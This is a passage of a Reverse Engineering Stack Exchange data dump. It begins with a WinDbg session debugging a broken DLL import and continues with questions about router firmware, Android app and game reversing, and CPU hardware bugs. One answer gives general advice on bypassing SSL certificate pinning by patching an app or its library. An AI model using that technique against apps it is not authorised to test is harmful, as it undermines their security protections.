Settings\Administrator\Desktop\debugger_x86\sym\kernel32.pdb\A02FC3EC19B4474FB75641AF4C5B031C2\kernel32.pdb&#xA;7c900000 7c9b2000   ntdll      (pdb symbols)          C:\Documents and Settings\Administrator\Desktop\debugger_x86\sym\ntdll.pdb\CEFC0863B1F84130A11E0F54180CD21A2\ntdll.pdb&#xA;0:000&amp;gt; k&#xA;ChildEBP RetAddr  &#xA;0006f6ec 7c90d9ca ntdll!KiFastSystemCallRet&#xA;0006f6f0 7c9423a9 ntdll!NtRaiseHardError+0xc&#xA;0006f7d4 7c91c880 ntdll!LdrpMapDll+0x1b8&#xA;0006fa34 7c9246f2 ntdll!LdrpLoadImportModule+0x174&#xA;0006fa78 7c92469b ntdll!LdrpHandleOneNewFormatImportDescriptor+0x53&#xA;0006fa98 7c9247d5 ntdll!LdrpHandleNewFormatImportDescriptors+0x20&#xA;0006fb14 7c920244 ntdll!LdrpWalkImportDescriptor+0x19e&#xA;0006fc94 7c91fad7 ntdll!LdrpInitializeProcess+0xe1c&#xA;0006fd1c 7c90e457 ntdll!_LdrpInitialize+0x183&#xA;00000000 00000000 ntdll!KiUserApcDispatcher+0x7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You get pretty much the same stack blabb got, without any kernel debugging. Amazing, even if I say so myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, the second thread's stack is still uninteresting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; ~1 k&#xA;ChildEBP RetAddr  &#xA;0028fc0c 7c90df5a ntdll!KiFastSystemCallRet&#xA;0028fc10 7c919b23 ntdll!NtWaitForSingleObject+0xc&#xA;0028fc98 7c901046 ntdll!RtlpWaitForCriticalSection+0x132&#xA;0028fca0 7c924d2d ntdll!RtlEnterCriticalSection+0x46&#xA;0028fd18 7c90e457 ntdll!_LdrpInitialize+0xf0&#xA;00000000 00000000 ntdll!KiUserApcDispatcher+0x7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can look at the parameters to these functions and see the problem in the bound import table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; kb&#xA;ChildEBP RetAddr  Args to Child              &#xA;0006f6ec 7c90d9ca 7c9423a9 c0000135 00000002 ntdll!KiFastSystemCallRet&#xA;0006f6f0 7c9423a9 c0000135 00000002 00000003 ntdll!NtRaiseHardError+0xc&#xA;0006f7d4 7c91c880 00020498 7ffdfc00 00000000 ntdll!LdrpMapDll+0x1b8&#xA;0006fa34 7c9246f2 00020498 010002ab 01000000 ntdll!LdrpLoadImportModule+0x174&#xA;0006fa78 7c92469b 7ffd6000 00020498 00191ee0 ntdll!LdrpHandleOneNewFormatImportDescriptor+0x53&#xA;0006fa98 7c9247d5 7ffd6000 00020498 00191ee0 ntdll!LdrpHandleNewFormatImportDescriptors+0x20&#xA;0006fb14 7c920244 00020498 00191ee0 7ffdf000 ntdll!LdrpWalkImportDescriptor+0x19e&#xA;0006fc94 7c91fad7 0006fd30 7c900000 0006fce0 ntdll!LdrpInitializeProcess+0xe1c&#xA;0006fd1c 7c90e457 0006fd30 7c900000 00000000 ntdll!_LdrpInitialize+0x183&#xA;00000000 00000000 00000000 00000000 00000000 ntdll!KiUserApcDispatcher+0x7&#xA;0:000&amp;gt; du 7ffdfc00 &#xA;7ffdfc00  &quot;NEL32.dll&quot;&#xA;0:000&amp;gt; db 010002ab&#xA;010002ab  4e 45 4c 33 32 2e 64 6c-6c 00 47 44 49 33 32 2e  NEL32.dll.GDI32.&#xA;010002bb  64 6c 6c 00 55 53 45 52-33 32 2e 64 6c 6c 00 53  dll.USER32.dll.S&#xA;010002cb  48 45 4c 4c 33 32 2e 64-6c 6c 00 57 49 4e 4d 4d  HELL32.dll.WINMM&#xA;010002db  2e 64 6c 6c 00 43 4f 4d-43 54 4c 33 32 2e 64 6c  .dll.COMCTL32.dl&#xA;010002eb  6c 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  l...............&#xA;010002fb  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;0100030b  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;0100031b  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to trace through the loading process rather than only see the stack after the fail you can do that too with the user mode debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's dismiss the message box, and tell WinDbg to break at process creation instead of at the so-called &lt;em&gt;initial breakpoint&lt;/em&gt; which happens only after the static imports have been resolved:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; sxe cpr&#xA;0:000&amp;gt; .restart&#xA;CommandLine: &quot;C:\Documents and Settings\Administrator\My Documents\Downloads\Winmine - XP - копия.exe&quot;&#xA;Symbol search path is: srv*&#xA;Executable search path is: &#xA;eax=01003e21 ebx=7ffd4000 ecx=7c910060 edx=7c90e920 esi=0078c60c edi=00ecf554&#xA;eip=7c810735 esp=0006fffc ebp=7c91005d iopl=0         nv up ei pl nz na po nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000200&#xA;7c810735 ??              ???&#xA;0:000&amp;gt; lm&#xA;start    end        module name&#xA;01000000 01021000   winmine    (deferred)             &#xA;0:000&amp;gt; k&#xA;ChildEBP RetAddr  &#xA;WARNING: Frame IP not in any known module. Following frames may be wrong.&#xA;0006fff8 00000000 0x7c810735&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OMG what is this?! Only &lt;code&gt;winmine&lt;/code&gt; loaded? But we know the &lt;code&gt;ntdll&lt;/code&gt; is mapped into every Win32 process right from the start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, &lt;code&gt;ntdll&lt;/code&gt; is actually mapped, but the debugger still didn't get a debug event about it. That's how early we're in the process initialization process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can wait for this event by using &lt;code&gt;sxe ld ntdll&lt;/code&gt; (or &lt;code&gt;sxe ld&lt;/code&gt;), or we can force WinDbg to be made aware &lt;code&gt;ntdll&lt;/code&gt;. Then we can put breakpoints on &lt;code&gt;ntdll!LdrpHandleOneNewFormatImportDescriptor&lt;/code&gt; etc.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; sxe ld ntdll&#xA;0:000&amp;gt; g&#xA;ModLoad: 7c900000 7c9b2000   ntdll.dll&#xA;eax=01003e21 ebx=7ffd4000 ecx=7c910060 edx=7c90e920 esi=0078c60c edi=00ecf554&#xA;eip=7c810735 esp=0006fffc ebp=7c91005d iopl=0         nv up ei pl nz na po nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000200&#xA;7c810735 ??              ???&#xA;0:000&amp;gt; lm&#xA;start    end        module name&#xA;01000000 01021000   winmine    (deferred)             &#xA;7c900000 7c9b2000   ntdll      (deferred)             &#xA;0:000&amp;gt; .symfix+&#xA;0:000&amp;gt; .reload /f&#xA;Reloading current modules&#xA;..&#xA;0:000&amp;gt; bu ntdll!LdrpHandleOneNewFormatImportDescriptor&#xA;0:000&amp;gt; bl&#xA; 0 e 7c9246ad     0001 (0001)  0:**** ntdll!LdrpHandleOneNewFormatImportDescriptor&#xA;0:000&amp;gt; g&#xA;Breakpoint 0 hit&#xA;eax=0006faac ebx=7ffd4000 ecx=000000b4 edx=0000415c esi=01000248 edi=00000001&#xA;eip=7c9246ad esp=0006fa7c ebp=0006fa98 iopl=0         nv up ei pl nz na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206&#xA;ntdll!LdrpHandleOneNewFormatImportDescriptor:&#xA;7c9246ad 8bff            mov     edi,edi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's absolutely no need for kernel debugging here.&lt;br&gt;&#xA;Everything we need is available from user mode.&lt;/p&gt;&#xA;" OwnerUserId="3939" LastEditorUserId="3939" LastEditDate="2017-09-07T03:38:46.560" LastActivityDate="2017-09-07T03:38:46.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16290" PostTypeId="1" AcceptedAnswerId="16545" CreationDate="2017-09-07T03:04:17.147" Score="3" ViewCount="6850" Body="&lt;p&gt;I was searching through my routers admin page some time ago and I've noticed that it doesn't support firmware updates by the user(&lt;em&gt;it's an ISP's &lt;strong&gt;speedport entry 2i&lt;/strong&gt; router(zte variant)&lt;/em&gt;). So long story short, after searching through tons of forum comments about that particular model, I've figured that I could probably reverse engineer its firmware(that &quot;they&quot;[isp guys] for some reason have available for download at their website) and check how the updates are delivered, a way to disable tr 069 etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having no experience with reverse engineering I've used google to find some kind of tutorial that would get me started and I kinda did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after reading a few things about every tool referred there I figured I could probably do it.&#xA;But my firmware wasn't like the one at the example(not sure if it's easier or harder though) so after trying some other things that I thought might work I hit a dead end. Here is a &lt;a href=&quot;https://mega.nz/#!ScBQQJBI!9yC8jr96WijP1BlJkrjheT7z2mNHjiS8XSpVsmY-_yY&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt; with all the files I've got so far in case someone want to check them out and maybe point me to the right direction or even try it him/her-self. I would also love any pro-tip in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Binwalk gives me the following output &lt;a href=&quot;https://i.stack.imgur.com/hyIyJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hyIyJ.png&quot; alt=&quot;this&quot;&gt;&lt;/a&gt; so after I found a way to extract the lzma archive I got these 2 files that I don't know how to approach (.7z file is an lzma archive but I've tried unpacking it with binwalk without any luck). I am probably missing something due to the lack of knowledge on the subject, so if any of you out there can help me, please do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for your time :) &lt;/p&gt;&#xA;" OwnerUserId="21504" LastEditorUserId="28285" LastEditDate="2020-01-13T13:57:30.130" LastActivityDate="2021-09-20T13:28:09.997" Title="Speedport entry 2i zte home router's firmware" Tags="|binary-analysis|firmware|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="16291" PostTypeId="1" CreationDate="2017-09-07T09:53:46.280" Score="2" ViewCount="831" Body="&lt;p&gt;I wanted to make some Tinder tools, and found some already made APIs.&#xA;I would like go through the process of discovering this private API by myself, since most of the articles are a bit out of date.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I set up mitmproxy to sniff the API, but unfortunately, I couldn't catch any responses beside the tunneling.&lt;/li&gt;&#xA;&lt;li&gt;I understood that there was some certificate pinning happening.&lt;/li&gt;&#xA;&lt;li&gt;I downloaded the lastest version of APK Tools (2.2.4).&lt;/li&gt;&#xA;&lt;li&gt;I am using Oracle Java 8 JDK on a Ubuntu 16.04 VM.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My issue is the following :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I disassemble the tinder.apk with APK Tools.&lt;/li&gt;&#xA;&lt;li&gt;I reassemble it (without any modifications):&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;First thing I notice is that filesize from original and the crafted one is different while no modifications were made&#xA;  When I install my new version of Tinder, I can't login to the app.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Constraint&lt;/strong&gt; : I can't use a SSL killer on my phone because of security issues that are implied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is APK Tools a good tool? Is there another way?&lt;/p&gt;&#xA;" OwnerUserId="21509" LastEditorUserId="53" LastEditDate="2017-09-08T13:29:34.830" LastActivityDate="2017-09-08T13:29:34.830" Title="APK Tools for Tinder 7.4.0" Tags="|disassembly|assembly|android|apk|reassembly|" AnswerCount="1" CommentCount="4" ClosedDate="2017-09-23T02:22:20.023" ContentLicense="CC BY-SA 3.0" />
  <row Id="16292" PostTypeId="1" CreationDate="2017-09-07T15:37:17.593" Score="0" ViewCount="1820" Body="&lt;p&gt;I am trying to find the portion of code in an android game that is responsible for the main logic of the game. (e.g Calculating damage when shooting the zombie) The game is obviously using native code and the whole app consists of 2 files, a standard apk file and an obb file. After searching the smali code and to no avail, I tried disassembling the .so files in the lib folder of the apk file using IDA Pro but they seem to be libraries rather than code written by the developer.On the other file, the obb seems to contain mainly the resources and a few dlls which seem to be libraries too. Where would an android game developer using JNI place the main logic of their game at?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:I also noticed that the game uses the Unity engine so I see files like libunity.so&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: In my lib folder,I have the files libAnalytics.so, libApp.so, libmain.so, libmono.so,libnat.so,libunity.so . It seems like libmain.so contains the main logic due to the presence of function names such as ANativeActivity_onCreate but it only has 6 such functions with such names so I'm not too sure.&lt;/p&gt;&#xA;" OwnerUserId="20823" LastEditorUserId="20823" LastEditDate="2017-09-07T15:47:09.133" LastActivityDate="2018-04-16T01:02:44.733" Title="Need help reversing an Android Game" Tags="|ida|android|apk|shared-object|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16293" PostTypeId="1" CreationDate="2017-09-07T16:55:01.810" Score="2" ViewCount="148" Body="&lt;p&gt;I'm using MSP430 micro controller which support physical fuse for jtag. The problem is I have blown the physical fuse so I can't interact with the controller, is there any way that I can interact with the controller ? &lt;/p&gt;&#xA;" OwnerUserId="21495" LastActivityDate="2017-09-07T16:55:01.810" Title="MSP430 JTAG FUSE" Tags="|hardware|jtag|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16294" PostTypeId="1" CreationDate="2017-09-07T20:41:53.027" Score="1" ViewCount="230" Body="&lt;p&gt;a micro sd has been encrypted by a device, i have a backup of the encryption key (*.pk5), but the encryption device has been destroyed. any suggestions to decrypt the MicroSD? (except of buying a new phone)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;device: nokia e52&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for taking the time to read this and your suggestions.&#xA;(if this is not the right site to ask it, please let me know)&lt;/p&gt;&#xA;" OwnerUserId="21516" LastEditorUserId="21516" LastEditDate="2017-09-07T22:31:07.440" LastActivityDate="2017-09-23T02:30:32.253" Title="decrypting a microSD" Tags="|decryption|" AnswerCount="2" CommentCount="2" ClosedDate="2017-09-23T02:33:52.063" ContentLicense="CC BY-SA 3.0" />
  <row Id="16295" PostTypeId="1" CreationDate="2017-09-08T06:44:25.810" Score="0" ViewCount="617" Body="&lt;p&gt;Is NSS Libraries still present on recent version of chrome. When I reverse Chrome using API monitor, I tend to see Netscape security service (NSS) Libraries present.&lt;/p&gt;&#xA;" OwnerUserId="21520" LastEditorUserId="53" LastEditDate="2017-09-08T15:00:12.283" LastActivityDate="2017-09-08T15:00:12.283" Title="Does chrome still use NSS libraries" Tags="|disassembly|" AnswerCount="1" CommentCount="1" ClosedDate="2017-09-09T19:14:51.547" ContentLicense="CC BY-SA 3.0" />
  <row Id="16296" PostTypeId="1" CreationDate="2017-09-08T08:33:40.193" Score="23" ViewCount="3642" Body="&lt;p&gt;Recently, I have taken the computer organization course that explains in the logic gate level how a CPU works and etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Up until now I have been treating the CPU as a black box that runs assembly instructions, even when I was learning in my free time about cracking, and doing exploits, and reverse engineering in general. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that got me wondering, in the security field, how much research is being done using or combining CPU bugs, like software bugs, and using it to run code remotely or do other stuff. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do reverse engineers, who try to find computer exploits, gain an advantage if they know the internal implementation of the CPU? Down to the logic gate level of course, not just the high level components. &lt;/p&gt;&#xA;" OwnerUserId="21522" LastEditorUserId="53" LastEditDate="2017-09-08T12:21:36.307" LastActivityDate="2018-01-05T09:07:58.997" Title="Knowledge about CPU hardware" Tags="|disassembly|assembly|hardware|exploit|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16297" PostTypeId="2" ParentId="16296" CreationDate="2017-09-08T09:48:43.900" Score="9" Body="&lt;p&gt;In fact, the CPU are much more checked and verified than programs. It is very unlikely to find a (significant) bug in a CPU. Even though it happens from time to time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, it is much more interesting to look at software bugs (because they are more likely) than hardware bugs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet, you have a few occurrences of hardware bugs that led to disclosure of some &quot;secrets&quot;. The most famous one being probably the one from the Bell company (the 2600Hz bug).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, this bug was coming from the fact that they were two types of signals transmitted between the phone booth and the telecommunication central. The &lt;em&gt;command signals&lt;/em&gt; and the &lt;em&gt;voice signals&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Command signals&lt;/strong&gt;: They were used to send commands such as the destination of the phone call (phone number), the start/end of the communication, the amount of coins payed, and so on.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Voice signals&lt;/strong&gt;: They were used to encode the audio signal of the phone communication.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All these signals were encoded into an electrical signals and sent from the phone booth to the central. The problem was coming from the fact that the encoding module from the &lt;em&gt;voice signals&lt;/em&gt; was not strictly bounded to usual human voice frequencies. One could produce an unusual sound in the phone and get an encoding that would be understood as a &lt;em&gt;command signal&lt;/em&gt; by the central.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, one hacker did realize that if you produced a sound of 2600Hz, the audio encoding of this signal was corresponding to a &lt;em&gt;command signal&lt;/em&gt; of a long-distance call (it was as if you inserted a coin of 25 cents in the phone booth). And, by an extraordinary coincidence, at this time a brand of cereals (for kids' breakfast), called &quot;&lt;em&gt;Cap'n Crunch&lt;/em&gt;&quot;, was offering to his customers a whistle that was producing a sound of this exact same frequency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PpRq3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PpRq3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this time, these cereal boxes became very popular and the phone company did loose a bit of money. :-)&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2017-09-08T17:07:18.960" LastActivityDate="2017-09-08T17:07:18.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16298" PostTypeId="2" ParentId="16296" CreationDate="2017-09-08T12:08:44.723" Score="25" Body="&lt;p&gt;To extend the answer of perror:&lt;/p&gt;&#xA;&lt;p&gt;Perhaps you should take a look into a recently published whitepaper named &lt;strong&gt;Breaking the x86 ISA&lt;/strong&gt;, by Christopher Domas. It was published on blackhat17 and describes an approach for digging into x86 chips and extracting hidden machine instructions.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Title:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Breaking the x86 ISA&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Abstract:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;A processor is not a trusted black box for running code; on the&#xA;contrary, modern x86 chips are packed full of secret instructions and&#xA;hardware bugs. In this paper, we demonstrate how page fault analysis&#xA;and some creative processor fuzzing can be used to exhaustively search&#xA;the x86 instruction set and uncover the secrets buried in a chipset.&#xA;The approach has revealed critical x86 hardware glitches, previously&#xA;unknown machine instructions, ubiquitous software bugs, and flaws in&#xA;enterprise hypervisors.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; Christopher Domas&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blackhat.com/docs/us-17/thursday/us-17-Domas-Breaking-The-x86-Instruction-Set-wp.pdf&quot; rel=&quot;noreferrer&quot;&gt;https://www.blackhat.com/docs/us-17/thursday/us-17-Domas-Breaking-The-x86-Instruction-Set-wp.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Related Resources:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/xoreaxeaxeax/sandsifter&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/xoreaxeaxeax/sandsifter&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Somehow related microcode-internals from academia:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Title:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Reverse Engineering x86 Processor Microcode&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Abstract:&lt;/strong&gt;&#xA;Microcode is an abstraction layer on top of the physical&#xA;components of a CPU and present in most generalpurpose&#xA;CPUs today. In addition to facilitate complex and&#xA;vast instruction sets, it also provides an update mechanism&#xA;that allows CPUs to be patched in-place without requiring&#xA;any special hardware. While it is well-known that CPUs&#xA;are regularly updated with this mechanism, very little is&#xA;known about its inner workings given that microcode and&#xA;the update mechanism are proprietary and have not been&#xA;throughly analyzed yet.&#xA;In this paper, we reverse engineer the microcode semantics&#xA;and inner workings of its update mechanism of conventional&#xA;COTS CPUs on the example of AMD’s K8 and&#xA;K10 microarchitectures. Furthermore, we demonstrate&#xA;how to develop custom microcode updates. We describe&#xA;the microcode semantics and additionally present a set of&#xA;microprograms that demonstrate the possibilities offered&#xA;by this technology. To this end, our microprograms range&#xA;from CPU-assisted instrumentation to microcoded Trojans&#xA;that can even be reached from within a web browser&#xA;and enable remote code execution and cryptographic implementation&#xA;attacks.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; Philipp Koppe, Benjamin Kollenda, Marc Fyrbiak, Christian Kison, Robert Gawlik, Christof Paar, and Thorsten Holz&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://syssec.rub.de/media/emma/veroeffentlichungen/2017/08/16/usenix17-microcode.pdf&quot; rel=&quot;noreferrer&quot;&gt;http://syssec.rub.de/media/emma/veroeffentlichungen/2017/08/16/usenix17-microcode.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Related Work/Reads&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://inertiawar.com/microcode/&quot; rel=&quot;noreferrer&quot;&gt;http://inertiawar.com/microcode/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://argp.github.io/2017/09/14/re-x86-microcode/&quot; rel=&quot;noreferrer&quot;&gt;https://argp.github.io/2017/09/14/re-x86-microcode/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;EDIT: I added the reference mentioned by Dan.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Title:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Page Fault Liberation Army or Gained in Translation: a history of creative x86 virtual memory uses&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Abstract:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;x86 processors contain a surprising amount of built-in memory translation logic, which is driven by various data tables with intricate entry formats, and can produce various kinds of traps and other interesting computational effects. These features are mostly relics of earlier, more civilized times, when Jedi Knights tried to protect the Old Republic OSes with segmentation, supervisor bits, and hardware task support, but were defeated by processor de-optimizations and performance concerns and left unused by both Windows and UNIX systems – and explored only by hackers. For the rest of the world, an x86 PC was a &amp;quot;von Neumann architecture&amp;quot; with most of its strangeness unused.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; Julian Bangert and Sergey Bratus&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://media.ccc.de/v/29c3-5265-en-page_fault_liberation_army_h264&quot; rel=&quot;noreferrer&quot;&gt;https://media.ccc.de/v/29c3-5265-en-page_fault_liberation_army_h264&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;EDIT: I added the recently published &lt;strong&gt;spectre&lt;/strong&gt; or &lt;strong&gt;meltdown&lt;/strong&gt; attack, which exploits critical vulnerabilities in modern processors.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Title:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Meltdown and Spectre: Bugs in modern computers leak passwords and sensitive data&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;TLDR:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Meltdown and Spectre exploit critical vulnerabilities in modern processors. These hardware bugs allow programs to steal data which is currently processed on the computer. While programs are typically not permitted to read data from other programs, a malicious program can exploit Meltdown and Spectre to get hold of secrets stored in the memory of other running programs. This might include your passwords stored in a password manager or browser, your personal photos, emails, instant messages and even business-critical documents.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Paper:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://meltdownattack.com/meltdown.pdf&quot; rel=&quot;noreferrer&quot;&gt;https://meltdownattack.com/meltdown.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://spectreattack.com/spectre.pdf&quot; rel=&quot;noreferrer&quot;&gt;https://spectreattack.com/spectre.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Related Resources:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://googleprojectzero.blogspot.de/2018/01/reading-privileged-memory-with-side.html?m=1&quot; rel=&quot;noreferrer&quot;&gt;https://googleprojectzero.blogspot.de/2018/01/reading-privileged-memory-with-side.html?m=1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://pythonsweetness.tumblr.com/post/169166980422/the-mysterious-case-of-the-linux-page-table&quot; rel=&quot;noreferrer&quot;&gt;http://pythonsweetness.tumblr.com/post/169166980422/the-mysterious-case-of-the-linux-page-table&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://lkml.org/lkml/2017/12/27/2&quot; rel=&quot;noreferrer&quot;&gt;https://lkml.org/lkml/2017/12/27/2&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://gruss.cc/files/kaiser.pdf&quot; rel=&quot;noreferrer&quot;&gt;https://gruss.cc/files/kaiser.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://lwn.net/Articles/741878/&quot; rel=&quot;noreferrer&quot;&gt;https://lwn.net/Articles/741878/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://lwn.net/Articles/738975/&quot; rel=&quot;noreferrer&quot;&gt;https://lwn.net/Articles/738975/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15907" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-01-05T09:07:58.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16299" PostTypeId="2" ParentId="16291" CreationDate="2017-09-08T13:09:38.860" Score="0" Body="&lt;p&gt;Probably the app has some additional checks against modification. Try to track down the login error shown, maybe you can find the check which triggers it and disable it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of patching the app itself, you can also try an external solution which would target external libraries to bypass pinning. You'll need to find out which SSL library the app uses and how it detects the certificate mismatch, then either patch the library on disk or in memory, at runtime.&#xA;&lt;a href=&quot;https://security.stackexchange.com/questions/149325/disable-or-bypass-ssl-pinning-certificate-pinning-on-android-6-0-1&quot;&gt;This post&lt;/a&gt; gives some possible solutions that might work for that.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-09-08T13:09:38.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
